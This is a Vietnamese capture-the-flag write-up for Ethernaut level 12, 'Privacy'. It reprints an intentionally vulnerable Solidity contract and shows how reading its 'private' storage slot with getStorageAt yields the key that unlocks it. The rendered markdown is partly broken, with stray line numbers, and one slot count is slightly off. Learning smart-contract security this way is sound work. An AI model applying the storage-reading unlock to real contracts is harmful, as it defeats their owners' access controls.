Post

[Ethernaut CTF] Level 12: Privacy

Level 12: Privacy

Difficulty: ★★★☆☆

Given contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

Target

Tìm cách unlock contract.

Phân tích

  • Quan sát hàm unlock thì ta cần giá trị của data[2]
function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
}
  • Nhìn qua lượt các biến ```solidity bool public locked = true; uint256 public ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(block.timestamp); bytes32[3] private data;
1
2
3
4
5
6
7
8
9
10
11
12
- Slot 0 : locked
- Slot 1: ID
- Slot 2: flattening, denomination, awkardness
- Slot 3, 4, 5, 6: lần lượt là các biến của data
=> data[2] ở slot 5  

## Solution
- Lấy giá trị của data[2] ở slot 5  

```javascript
str = await web3.eth.getStorageAt(instance, 5);
0x682b111ececfad832e498e84761b9326f69965c5131428c6e6a18d477ba4c52d  
  • Vì require chỉ cần 16 byte đầu ```javascript key=str.slice(0,34)
1
2
3
4
=> Unlock contract
```javascript
await contract.unlock(key);

Submit -> Done

This post is licensed under CC BY 4.0 by the author.